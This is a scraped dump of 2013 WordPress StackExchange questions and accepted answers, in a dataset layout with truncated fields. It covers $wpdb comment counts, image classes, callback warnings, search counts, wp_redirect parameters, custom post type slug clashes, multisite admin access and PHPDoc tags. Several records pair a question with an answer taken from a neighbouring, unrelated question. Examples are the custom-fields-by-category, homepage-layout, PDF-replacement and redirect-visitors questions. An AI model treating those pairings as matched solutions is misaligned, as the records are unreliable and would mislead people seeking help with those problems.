<pre><code>function count_user_comments_today( $uid ){
global $wpdb;
$today = date('Y-m-d');
$tomorrow = date('Y-m-d', time() + 86400);
$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->comments} WHERE user_id = %d AND comment_date >= %s AND... | [
{
"answer_id": 109149,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": true,
"text": "<p>For comments:</p>\n\n<pre><code>function count_comments_in_period( $date_from, $date_to ){\n global... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108830",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/32731/"
] | I have this snippet:
```
function count_user_comments_today( $uid ){
global $wpdb;
$today = date('Y-m-d');
$tomorrow = date('Y-m-d', time() + 86400);
$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->comments} WHERE user_id = %d AND comment_date >= %s AND comment_date < %s ", $uid... | For comments:
```
function count_comments_in_period( $date_from, $date_to ){
global $wpdb;
$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->comments} WHERE comment_date >= %s AND comment_date < %s ", $date_from, $date_to));
return $count;
}
```
Just use dates in `yyyy-mm-dd` format.... |
108,831 | <p>I want to add a CSS class "myimg" to every image both inside and outside of a post. What is the best way to approach this?</p>
| [
{
"answer_id": 108832,
"author": "Bindiya Patoliya",
"author_id": 34932,
"author_profile": "https://wordpress.stackexchange.com/users/34932",
"pm_score": -1,
"selected": false,
"text": "<p>Try to use this j query function like this in header file</p>\n\n<pre><code>$(document).ready(funct... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108831",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/15507/"
] | I want to add a CSS class "myimg" to every image both inside and outside of a post. What is the best way to approach this? | ```
function add_image_class($class){
$class .= ' additional-class';
return $class;
}
add_filter('get_image_tag_class','add_image_class');
``` |
108,860 | <p>I have issue after upgrading my wordpress to 3.6 see below for errors which displays on wordpress admin panel not on front of website.</p>
<blockquote>
<p>Warning: call_user_func_array() expects parameter 1 to be a valid callback, function ‘regis_options’ not found or invalid function name in wp-includes/plugin.php ... | [
{
"answer_id": 108861,
"author": "fuxia",
"author_id": 73,
"author_profile": "https://wordpress.stackexchange.com/users/73",
"pm_score": 5,
"selected": true,
"text": "<p>Somewhere in your theme or plugins is a line like this:</p>\n\n<pre><code>add_filter( 'something', 'regis_options' );\... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108860",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36163/"
] | I have issue after upgrading my wordpress to 3.6 see below for errors which displays on wordpress admin panel not on front of website.
>
> Warning: call\_user\_func\_array() expects parameter 1 to be a valid callback, function ‘regis\_options’ not found or invalid function name in wp-includes/plugin.php on line 406
>... | Somewhere in your theme or plugins is a line like this:
```
add_filter( 'something', 'regis_options' );
```
Could also be `add_action()`. Find that piece of code and remove or fix it.
The other errors are a result of the first one. The printed error message causes output and hence HTTP headers, so PHP/WP cannot sen... |
108,863 | <p>How I can show custom fields in my theme according to category?</p>
<p>For example in Laptop category show some custom fields and in Motherboard category show another fields.</p>
| [
{
"answer_id": 108861,
"author": "fuxia",
"author_id": 73,
"author_profile": "https://wordpress.stackexchange.com/users/73",
"pm_score": 5,
"selected": true,
"text": "<p>Somewhere in your theme or plugins is a line like this:</p>\n\n<pre><code>add_filter( 'something', 'regis_options' );\... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108863",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36164/"
] | How I can show custom fields in my theme according to category?
For example in Laptop category show some custom fields and in Motherboard category show another fields. | Somewhere in your theme or plugins is a line like this:
```
add_filter( 'something', 'regis_options' );
```
Could also be `add_action()`. Find that piece of code and remove or fix it.
The other errors are a result of the first one. The printed error message causes output and hence HTTP headers, so PHP/WP cannot sen... |
108,865 | <p>Until now I have been using below code to get the number of results when someone searches and to display that count.</p>
<pre><code><?php /* Search Count */ $allsearch =& new WP_Query("s=$s&showposts=-1"); $count = $allsearch->post_count; echo $count . ' '; wp_reset_query(); ?>
</code></pre>
<p>Bu... | [
{
"answer_id": 108866,
"author": "M-R",
"author_id": 17061,
"author_profile": "https://wordpress.stackexchange.com/users/17061",
"pm_score": 6,
"selected": true,
"text": "<p>If you are within the search template i.e Search query is your main query. You should then be able to get search r... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108865",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/18389/"
] | Until now I have been using below code to get the number of results when someone searches and to display that count.
```
<?php /* Search Count */ $allsearch =& new WP_Query("s=$s&showposts=-1"); $count = $allsearch->post_count; echo $count . ' '; wp_reset_query(); ?>
```
But this does not seem like valid code. It sh... | If you are within the search template i.e Search query is your main query. You should then be able to get search results from global `$wp_query` without running an additional query.
```
global $wp_query;
echo $wp_query->found_posts.' results found.';
```
**Edit 1**
If you have to get count out of search context. Yo... |
108,882 | <p>I've gone a roundabout way of trying to ask a question about this here: <a href="https://wordpress.stackexchange.com/questions/108874/loading-shortcode-with-ajax">Loading shortcode with ajax</a> but figured it might be worth asking the fundamental question of what I am trying to do without adding my confused, naive ... | [
{
"answer_id": 108900,
"author": "kingkool68",
"author_id": 2744,
"author_profile": "https://wordpress.stackexchange.com/users/2744",
"pm_score": 0,
"selected": false,
"text": "<p>You'll need some JavaScript on the front end to measure the users screen size.\nThen you can set a cookie wh... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108882",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36170/"
] | I've gone a roundabout way of trying to ask a question about this here: [Loading shortcode with ajax](https://wordpress.stackexchange.com/questions/108874/loading-shortcode-with-ajax) but figured it might be worth asking the fundamental question of what I am trying to do without adding my confused, naive problem-solvin... | Ok, let's clarify the concept.
You don't want download the content for mobile device, and you want to rely on screen resolution. You know that php (wordpress) run on server, screen resolution is a completely client-side matter.
So the flow will be:
1. user send a request to your site
2. your site page load on client... |
108,883 | <p>I am doing a worpdress theme which is in Arabic language. When I write anything in Arabic. It turn into ????(question mark). </p>
<p>Please help to fix this.</p>
<p>Thanks</p>
| [
{
"answer_id": 108887,
"author": "fuxia",
"author_id": 73,
"author_profile": "https://wordpress.stackexchange.com/users/73",
"pm_score": 1,
"selected": false,
"text": "<ol>\n<li>Make sure all your files are encoded in UTF-8.</li>\n<li><p>Keep your theme language agnostic: Write all strin... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108883",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36035/"
] | I am doing a worpdress theme which is in Arabic language. When I write anything in Arabic. It turn into ????(question mark).
Please help to fix this.
Thanks | 1. Make sure all your files are encoded in UTF-8.
2. Keep your theme language agnostic: Write all strings in English and [use the proper translation functions](http://codex.wordpress.org/I18n_for_WordPress_Developers) to get the translated string (eg. Arabic):
```
_e( 'Hello world!', 'your_text_domain' );
``` |
108,893 | <p>I'll try to explain myself and what I'm trying to gain.
I run a DJ business and am trying to get into the Wedding market. One way is to make sure the slug of each page has "wedding-(venue name).html for example.
I've got 20 of these pages and they work really well.
Problem is that the title H2 header on the page is ... | [
{
"answer_id": 108896,
"author": "JMau",
"author_id": 31376,
"author_profile": "https://wordpress.stackexchange.com/users/31376",
"pm_score": 0,
"selected": false,
"text": "<p>it's not really easy to understand what's at stake here but if you want to include some page into another, there... | 2013/08/03 | [
"https://wordpress.stackexchange.com/questions/108893",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36177/"
] | I'll try to explain myself and what I'm trying to gain.
I run a DJ business and am trying to get into the Wedding market. One way is to make sure the slug of each page has "wedding-(venue name).html for example.
I've got 20 of these pages and they work really well.
Problem is that the title H2 header on the page is cus... | You can do this but before I tell you how I have to express a concern. You will have [severe duplicate content problems](https://www.google.com/search?q=duplicate%20content%20internal) if all of your pages are the same except for that `<h2>` tag.
Now, what you need to do is create a Custom Page Template, with the foll... |
108,912 | <p>I am trying to to use $wpdb to retrieve a list of posts from the Database where the meta_value in the wp_postmeta table contains the current post_ID in inverted commas. eg. "10"</p>
<p>The inverted commas are the make sure that 10 doesn't also match 100 etc.</p>
<p>I can get it work work when I paste the exact of ... | [
{
"answer_id": 108918,
"author": "gmazzap",
"author_id": 35541,
"author_profile": "https://wordpress.stackexchange.com/users/35541",
"pm_score": 3,
"selected": false,
"text": "<p>In code you posted you do not retrieve 'list of posts' as you say, but retrieve a list of rows in the meta ta... | 2013/08/04 | [
"https://wordpress.stackexchange.com/questions/108912",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/16997/"
] | I am trying to to use $wpdb to retrieve a list of posts from the Database where the meta\_value in the wp\_postmeta table contains the current post\_ID in inverted commas. eg. "10"
The inverted commas are the make sure that 10 doesn't also match 100 etc.
I can get it work work when I paste the exact of the meta value... | In code you posted you do not retrieve 'list of posts' as you say, but retrieve a list of rows in the meta table. If you want really retrieve a list of posts rely on `WP_Query` using `meta_query` param.
Something like:
```
$id = '10'; // unserialized value
$args = array(
'post_type' => 'post',
'post_status' => '... |
108,937 | <p>Why is that the layout of 2 homepage is different. </p>
<p>When i put <code>http://localhost/mysite/home/</code> </p>
<p>the layout looks ok and the blog list is there.. there's no problem here..
but when i click home it automatically goes to this url ... </p>
<p><code>http://localhost/mysite/</code>
and the bl... | [
{
"answer_id": 108918,
"author": "gmazzap",
"author_id": 35541,
"author_profile": "https://wordpress.stackexchange.com/users/35541",
"pm_score": 3,
"selected": false,
"text": "<p>In code you posted you do not retrieve 'list of posts' as you say, but retrieve a list of rows in the meta ta... | 2013/08/04 | [
"https://wordpress.stackexchange.com/questions/108937",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36088/"
] | Why is that the layout of 2 homepage is different.
When i put `http://localhost/mysite/home/`
the layout looks ok and the blog list is there.. there's no problem here..
but when i click home it automatically goes to this url ...
`http://localhost/mysite/`
and the blog post listing is gone ...
I created a page ... | In code you posted you do not retrieve 'list of posts' as you say, but retrieve a list of rows in the meta table. If you want really retrieve a list of posts rely on `WP_Query` using `meta_query` param.
Something like:
```
$id = '10'; // unserialized value
$args = array(
'post_type' => 'post',
'post_status' => '... |
108,949 | <p>The image in the woocommerce's product page is blurred and unclear. You can see this using the below link.</p>
<p><a href="http://childdevelopmentinfo.com/shop/discipline-your-kid-the-right-way-without-shouting-or-spanking/" rel="nofollow">http://childdevelopmentinfo.com/shop/discipline-your-kid-the-right-way-witho... | [
{
"answer_id": 108954,
"author": "JMau",
"author_id": 31376,
"author_profile": "https://wordpress.stackexchange.com/users/31376",
"pm_score": 0,
"selected": false,
"text": "<p>Just look at the s<a href=\"http://childdevelopmentinfo.com/wp-content/uploads/2013/06/discipline-right-way-e137... | 2013/08/04 | [
"https://wordpress.stackexchange.com/questions/108949",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/14767/"
] | The image in the woocommerce's product page is blurred and unclear. You can see this using the below link.
<http://childdevelopmentinfo.com/shop/discipline-your-kid-the-right-way-without-shouting-or-spanking/>
I tried changing the CSS and regenerated the thumbnails, after changing the image dimensions in catalog sett... | I believe @JMau is referring to the following:

The actual image is only 211px wide, it displays at 281px wide, therefore pixelation is occurring.
The bigger issue here is that the little thumbnail image displaying to the left of the main product im... |
108,981 | <p>All the files in my WordPress path are owned by <code>myuser:www-data</code> and Apache is running as www-data. All files and folders have group write permissions, e.g. <code>-rw-rw----</code>, but I keep being prompted for FTP details when I try to install a plugin.</p>
<p>If I chown the path to the www-data user,... | [
{
"answer_id": 108990,
"author": "Jesse",
"author_id": 9145,
"author_profile": "https://wordpress.stackexchange.com/users/9145",
"pm_score": 2,
"selected": false,
"text": "<p>I think, I've answered a similar question here before. OP claims all file permission are set correctly but still ... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/108981",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36214/"
] | All the files in my WordPress path are owned by `myuser:www-data` and Apache is running as www-data. All files and folders have group write permissions, e.g. `-rw-rw----`, but I keep being prompted for FTP details when I try to install a plugin.
If I chown the path to the www-data user, plugin installation and deletio... | If you add the following to your wp-config.php file it will force WordPress to use the 'direct' filesystem method:
```
define( 'FS_METHOD', 'direct' );
``` |
108,987 | <p>I understand you have to paste the link that you're embedding without any code wrapping around it, but how do I force the embedded content to be centered? Currently, the default is aligning to the left.</p>
<p>I could modify the core file, but it's highly discouraged, so I'm asking to see if there's any hook or fil... | [
{
"answer_id": 108989,
"author": "Tam N.",
"author_id": 30841,
"author_profile": "https://wordpress.stackexchange.com/users/30841",
"pm_score": 3,
"selected": true,
"text": "<p>After some Googling, I found a solution that was originally done for a Twitter embed, but I modified it to work... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/108987",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/30841/"
] | I understand you have to paste the link that you're embedding without any code wrapping around it, but how do I force the embedded content to be centered? Currently, the default is aligning to the left.
I could modify the core file, but it's highly discouraged, so I'm asking to see if there's any hook or filter to get... | After some Googling, I found a solution that was originally done for a Twitter embed, but I modified it to work with all oEmbed contents. Keep in mind that for this to work on existing posts, you'll need to do an "update" for the oEmbed content to refresh from the cache.
```
add_filter('oembed_result','center_oembed',... |
109,016 | <p><strong>How can I show images for just some of the items but not for others?</strong> </p>
<p>I'm working on a restaurant menu with online ordering, displaying the food menu (woocommerce products) with shortcodes - eg. [product_category category="starters" orderby="date" order="asc"] etc.</p>
<p>A lot of the items... | [
{
"answer_id": 109039,
"author": "speedypancake",
"author_id": 22537,
"author_profile": "https://wordpress.stackexchange.com/users/22537",
"pm_score": 2,
"selected": false,
"text": "<p>Found an answer elsewhere <a href=\"http://www.peterrknight.com/woocommerce-tutorial-better-product-lis... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109016",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/22537/"
] | **How can I show images for just some of the items but not for others?**
I'm working on a restaurant menu with online ordering, displaying the food menu (woocommerce products) with shortcodes - eg. [product\_category category="starters" orderby="date" order="asc"] etc.
A lot of the items do not require an image, but... | `woocommerce_template_loop_product_thumbnail` is pluggable so you can override it with your own code. Any time you see a function anywhere in a WordPress setting that looks like this:
```
if ( ! function_exists( 'woocommerce_template_loop_product_thumbnail' ) ) {
/**
* Get the product thumbnail for the loop.
*
* @... |
109,019 | <p>I am using JSON API for get the post list from my App. </p>
<p>I need to create user(Register new user) from App. May I know how to add new function to Wordpress JSON-API?</p>
<p>Regards,
Alex</p>
| [
{
"answer_id": 109042,
"author": "kaiser",
"author_id": 385,
"author_profile": "https://wordpress.stackexchange.com/users/385",
"pm_score": 1,
"selected": false,
"text": "<p>I've never worked with that plugin and a new <a href=\"http://make.wordpress.org/core/2013/06/17/json-rest-api/\" ... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109019",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/29009/"
] | I am using JSON API for get the post list from my App.
I need to create user(Register new user) from App. May I know how to add new function to Wordpress JSON-API?
Regards,
Alex | I've never worked with that plugin and a new [JSON Rest API](http://make.wordpress.org/core/2013/06/17/json-rest-api/) will maybe be included in core with one of the future versions. So far it's as well available as plugin.
To make it short: There currently seems to only be three kinds of Controllers in that plugin
1... |
109,048 | <p>I'm trying to upgrade WordPress version of a blog and it fails. I input FTP info (host, user, pass and type) then I get the message:</p>
<blockquote>
<p>Unable to locate WordPress Root directory.</p>
<p>Installation Failed.</p>
</blockquote>
<p>This blog is running on Windows 2008 Enterprise host.(If it was... | [
{
"answer_id": 120929,
"author": "Toni Michel Caubet",
"author_id": 3435,
"author_profile": "https://wordpress.stackexchange.com/users/3435",
"pm_score": 0,
"selected": false,
"text": "<p>Have you tried <a href=\"https://stackoverflow.com/questions/2354633/wordpress-root-directory\">this... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109048",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/32316/"
] | I'm trying to upgrade WordPress version of a blog and it fails. I input FTP info (host, user, pass and type) then I get the message:
>
> Unable to locate WordPress Root directory.
>
>
> Installation Failed.
>
>
>
This blog is running on Windows 2008 Enterprise host.(If it was up to me, no doubt it would be host... | I'm sure there is another way to fix it, but you could always try to do a fresh install. Make sure you backup your database and theme files, of course, and then just drop them into the new install.
Not the most eloquent solution, but it has worked for me in the past when I couldn't think of another way. |
109,059 | <p>I used function to get twitter followers </p>
<pre><code>function twitter_count($twitter_user){
$count = get_transient('twitter_count');
if ($count !== false) return $count;
$count = 0;
$dataOrig = file_get_contents('http://twitter.com/users/show/'.$twitter_user);
if (is_wp_error($... | [
{
"answer_id": 109061,
"author": "s_ha_dum",
"author_id": 21376,
"author_profile": "https://wordpress.stackexchange.com/users/21376",
"pm_score": 1,
"selected": false,
"text": "<p>You would replace this:</p>\n\n<pre><code>$dataOrig = file_get_contents('http://twitter.com/users/show/'.$tw... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109059",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35315/"
] | I used function to get twitter followers
```
function twitter_count($twitter_user){
$count = get_transient('twitter_count');
if ($count !== false) return $count;
$count = 0;
$dataOrig = file_get_contents('http://twitter.com/users/show/'.$twitter_user);
if (is_wp_error($dataOrig)) {
... | You would replace this:
```
$dataOrig = file_get_contents('http://twitter.com/users/show/'.$twitter_user);
if (is_wp_error($dataOrig)) {
return 'Error!!!';
}else{
$profile = new SimpleXMLElement ( $dataOrig );
$countOrig = $profile->followers_count;
$count = strval ( $countOrig );
}
```
Wit... |
109,072 | <p>In my plugin, I'm creating a custom post type that has an archive and uses the rewrite parameter to choose a slug:</p>
<pre><code>$args = array (
'public' => true,
'has_archive' => true,
'rewrite' => array('slug' => 'lessons', 'with_front' => false)
);
register_post_type ('my_plugin_lesso... | [
{
"answer_id": 114342,
"author": "Matthew Boynes",
"author_id": 12324,
"author_profile": "https://wordpress.stackexchange.com/users/12324",
"pm_score": 2,
"selected": false,
"text": "<p>I believe you could leverage the filters in <code>wp_unique_post_slug</code> to prevent this conflict.... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109072",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/32110/"
] | In my plugin, I'm creating a custom post type that has an archive and uses the rewrite parameter to choose a slug:
```
$args = array (
'public' => true,
'has_archive' => true,
'rewrite' => array('slug' => 'lessons', 'with_front' => false)
);
register_post_type ('my_plugin_lesson', $args);
```
With this c... | I know you already find the solution, because you figured out this question was already asked and answered...
However, once this question is a bounty one and cannot be closed as duplicate, I want to make sense to this, and add (a bit of) additional value on the answers already posted.
What is done in those answers (... |
109,077 | <p>I'm developing a website that has a blog section as well as a "free monthly download" section set up as a custom post type. On the home page I'm displaying excerpts with "read more" links for both the most recent blog post and the most recent monthly download (these are in separate loops).</p>
<p>The read more lin... | [
{
"answer_id": 109078,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": true,
"text": "<p>Hmm, and what is the difficulty in here? You already have <code>global $post</code> variable in your f... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109077",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36242/"
] | I'm developing a website that has a blog section as well as a "free monthly download" section set up as a custom post type. On the home page I'm displaying excerpts with "read more" links for both the most recent blog post and the most recent monthly download (these are in separate loops).
The read more link is genera... | Hmm, and what is the difficulty in here? You already have `global $post` variable in your function. Just use it.
```
function excerpt_read_more_link($output) {
global $post;
$text = 'Read more';
if ( $post->post_type == 'MY-CUSTOM-POST-TYPE' ) // change MY-CUSTOM-POST-TYPE to your real CPT name
$t... |
109,080 | <p>I am trying to get the authors <code>user_id</code> on a page linked to by using <code>get_author_posts_url(),</code>.</p>
<p>For example </p>
<pre><code>http://example.com/author/John%20Smith
</code></pre>
<p>where <code>John Smith</code> is <code>user_id</code> is <code>23</code>. I need to get <code>23</code>... | [
{
"answer_id": 109078,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": true,
"text": "<p>Hmm, and what is the difficulty in here? You already have <code>global $post</code> variable in your f... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109080",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36243/"
] | I am trying to get the authors `user_id` on a page linked to by using `get_author_posts_url(),`.
For example
```
http://example.com/author/John%20Smith
```
where `John Smith` is `user_id` is `23`. I need to get `23`. | Hmm, and what is the difficulty in here? You already have `global $post` variable in your function. Just use it.
```
function excerpt_read_more_link($output) {
global $post;
$text = 'Read more';
if ( $post->post_type == 'MY-CUSTOM-POST-TYPE' ) // change MY-CUSTOM-POST-TYPE to your real CPT name
$t... |
109,089 | <p>I have tried copying my wordpress site to my PC for editing offline using WAMP. I followed the following tutorial word for word.</p>
<p><a href="http://mark-kirby.co.uk/2008/how-to-create-a-local-copy-of-a-wordpress-site/" rel="nofollow">How to create a local copy of a wordpress site</a></p>
<p>I have placed my fi... | [
{
"answer_id": 109090,
"author": "Community",
"author_id": -1,
"author_profile": "https://wordpress.stackexchange.com/users/-1",
"pm_score": 0,
"selected": false,
"text": "<p>Try logging in to the local WP installation as an admin. Now go to the dashboard, click \"Settings\" and change \... | 2013/08/04 | [
"https://wordpress.stackexchange.com/questions/109089",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36253/"
] | I have tried copying my wordpress site to my PC for editing offline using WAMP. I followed the following tutorial word for word.
[How to create a local copy of a wordpress site](http://mark-kirby.co.uk/2008/how-to-create-a-local-copy-of-a-wordpress-site/)
I have placed my files in C:\wamp\www\wordpress
I saw somewhe... | ### Update
Instead of find-replace string using Notepad++ (or any editor) a better way would be to use a plugin which does the same job in a safer way — a way where the serialized data would be intact during the migration:
Use plugin like the [Velvet Blues Update URLs](https://wordpress.org/plugins/velvet-blues-updat... |
109,094 | <p>How to send some variables with wp_redirect() from function.php file in my theme folder?</p>
<pre><code>if ( $post_id ) {
$variable_to_send = '1';
wp_redirect( home_url(), $variable_to_send );
exit;
}
</code></pre>
<p>And on homepage I will catch the variable in if-else condition to show some confirmat... | [
{
"answer_id": 109097,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 5,
"selected": true,
"text": "<p>I'm afraid that you can't do it this way.</p>\n\n<p><code>wp_redirect</code> is a fancy way to send he... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109094",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/17368/"
] | How to send some variables with wp\_redirect() from function.php file in my theme folder?
```
if ( $post_id ) {
$variable_to_send = '1';
wp_redirect( home_url(), $variable_to_send );
exit;
}
```
And on homepage I will catch the variable in if-else condition to show some confirmation or not depending if `... | I'm afraid that you can't do it this way.
`wp_redirect` is a fancy way to send header `Location` and the second argument of this function is request status, and not custom variable. (404, 301, 302, and so on).
You can send some variables as get parameters. So you can do something like this:
```
if ( $post_id ) {
... |
109,110 | <p>Is there any possibility to redirect visitors to home page, for example, if they aren't allowed to view page's/post's content, using pre_get_posts action?</p>
<p>I'm trying to develop a simplified membership plugin and I want to test if current_user/ current_visitor is allowed to view the content of page/post. For ... | [
{
"answer_id": 109097,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 5,
"selected": true,
"text": "<p>I'm afraid that you can't do it this way.</p>\n\n<p><code>wp_redirect</code> is a fancy way to send he... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109110",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36255/"
] | Is there any possibility to redirect visitors to home page, for example, if they aren't allowed to view page's/post's content, using pre\_get\_posts action?
I'm trying to develop a simplified membership plugin and I want to test if current\_user/ current\_visitor is allowed to view the content of page/post. For that, ... | I'm afraid that you can't do it this way.
`wp_redirect` is a fancy way to send header `Location` and the second argument of this function is request status, and not custom variable. (404, 301, 302, and so on).
You can send some variables as get parameters. So you can do something like this:
```
if ( $post_id ) {
... |
109,116 | <p>I've set up my user profiles to allow custom taxonomies <a href="http://justintadlock.com/archives/2011/10/20/custom-user-taxonomies-in-wordpress" rel="nofollow">following this tutorial</a>.</p>
<p>Ideally, I'd like to use the default Tag meta box from the Post screen, so users can easily add new terms and find com... | [
{
"answer_id": 109118,
"author": "Michael Lewis",
"author_id": 20149,
"author_profile": "https://wordpress.stackexchange.com/users/20149",
"pm_score": 1,
"selected": false,
"text": "<p>Unfortunately, I'd say the answer is no.</p>\n\n<p>You could hijack (copy + paste) the code from <code>... | 2013/08/05 | [
"https://wordpress.stackexchange.com/questions/109116",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/11138/"
] | I've set up my user profiles to allow custom taxonomies [following this tutorial](http://justintadlock.com/archives/2011/10/20/custom-user-taxonomies-in-wordpress).
Ideally, I'd like to use the default Tag meta box from the Post screen, so users can easily add new terms and find commonly used ones. I'm currently using... | This code works for me. It uses 'locations' custom taxonomy and 'suggest' javascript. **You need to extend it to support multiple term selection**.
Add custom field to user-edit screen and store metadata when user/admin updates profile
```
// for account owner
add_action('show_user_profile', 'add_custom_user_profile_... |
109,162 | <p>I have an updated version of a pdf file which is linked to several pages and pending posts. I want to replace the old version with the new one and keep all the existing links.
Thank
Priya</p>
| [
{
"answer_id": 109118,
"author": "Michael Lewis",
"author_id": 20149,
"author_profile": "https://wordpress.stackexchange.com/users/20149",
"pm_score": 1,
"selected": false,
"text": "<p>Unfortunately, I'd say the answer is no.</p>\n\n<p>You could hijack (copy + paste) the code from <code>... | 2013/08/06 | [
"https://wordpress.stackexchange.com/questions/109162",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36278/"
] | I have an updated version of a pdf file which is linked to several pages and pending posts. I want to replace the old version with the new one and keep all the existing links.
Thank
Priya | This code works for me. It uses 'locations' custom taxonomy and 'suggest' javascript. **You need to extend it to support multiple term selection**.
Add custom field to user-edit screen and store metadata when user/admin updates profile
```
// for account owner
add_action('show_user_profile', 'add_custom_user_profile_... |
109,183 | <p>I've installed a domain-based Multisite on my server, and everything works including each of the subdomains. Here I should explain that I imported a Database that was on my Local Mac, and then changed the details in the database for each site. However, I now can't access wp-admin for the main domain or any of the su... | [
{
"answer_id": 109185,
"author": "Eric Holmes",
"author_id": 23454,
"author_profile": "https://wordpress.stackexchange.com/users/23454",
"pm_score": 1,
"selected": false,
"text": "<p>Chances are something doesn't line up in the database. The values in <code>wp_options->site_url</code>... | 2013/08/06 | [
"https://wordpress.stackexchange.com/questions/109183",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/27548/"
] | I've installed a domain-based Multisite on my server, and everything works including each of the subdomains. Here I should explain that I imported a Database that was on my Local Mac, and then changed the details in the database for each site. However, I now can't access wp-admin for the main domain or any of the subdo... | Chances are something doesn't line up in the database. The values in `wp_options->site_url` should the an exact match for the `wp_blogs->domain + path` values.
I made a post [here](http://ericholmes.ca/transferring-a-wordpress-multisite/) on the tables needed to change to transfer a multisite. Double-check these value... |
109,187 | <p>This is the hook and script Im using, the jquery script itself is working as you can see <a href="http://jsfiddle.net/mahish/4Fvvp/4/" rel="nofollow">in this fiddle</a>:</p>
<pre><code>function my_custom_admin_footer(){
echo '
<script type="text/javascript">
jQuery(... | [
{
"answer_id": 109185,
"author": "Eric Holmes",
"author_id": 23454,
"author_profile": "https://wordpress.stackexchange.com/users/23454",
"pm_score": 1,
"selected": false,
"text": "<p>Chances are something doesn't line up in the database. The values in <code>wp_options->site_url</code>... | 2013/08/06 | [
"https://wordpress.stackexchange.com/questions/109187",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35930/"
] | This is the hook and script Im using, the jquery script itself is working as you can see [in this fiddle](http://jsfiddle.net/mahish/4Fvvp/4/):
```
function my_custom_admin_footer(){
echo '
<script type="text/javascript">
jQuery(document).ready(function($) {
... | Chances are something doesn't line up in the database. The values in `wp_options->site_url` should the an exact match for the `wp_blogs->domain + path` values.
I made a post [here](http://ericholmes.ca/transferring-a-wordpress-multisite/) on the tables needed to change to transfer a multisite. Double-check these value... |
109,203 | <p>I am studying twenty_eleven theme and have some quesions. </p>
<p>What is </p>
<pre><code> * @package WordPress
* @subpackage Twenty_Eleven
* @since Twenty Eleven 1.0
*/
</code></pre>
<p>What is the use of @ mean. And again.</p>
<pre><code> * @uses load_theme_textdomain() For translation/localization support.... | [
{
"answer_id": 109205,
"author": "shulard",
"author_id": 36295,
"author_profile": "https://wordpress.stackexchange.com/users/36295",
"pm_score": 4,
"selected": true,
"text": "<p>The @ in header comments is the PHP Documentor meta data style.</p>\n\n<p>This syntax allow you to specify dif... | 2013/08/06 | [
"https://wordpress.stackexchange.com/questions/109203",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/31344/"
] | I am studying twenty\_eleven theme and have some quesions.
What is
```
* @package WordPress
* @subpackage Twenty_Eleven
* @since Twenty Eleven 1.0
*/
```
What is the use of @ mean. And again.
```
* @uses load_theme_textdomain() For translation/localization support.
* @uses add_editor_style() To style the v... | The @ in header comments is the PHP Documentor meta data style.
This syntax allow you to specify different kind of information:
* package and subpackage with @package and @subpackage allow you to define what is the context for the current file (used for PHP 5.3 namespaces like in the Java syntax)
* author with @autho... |
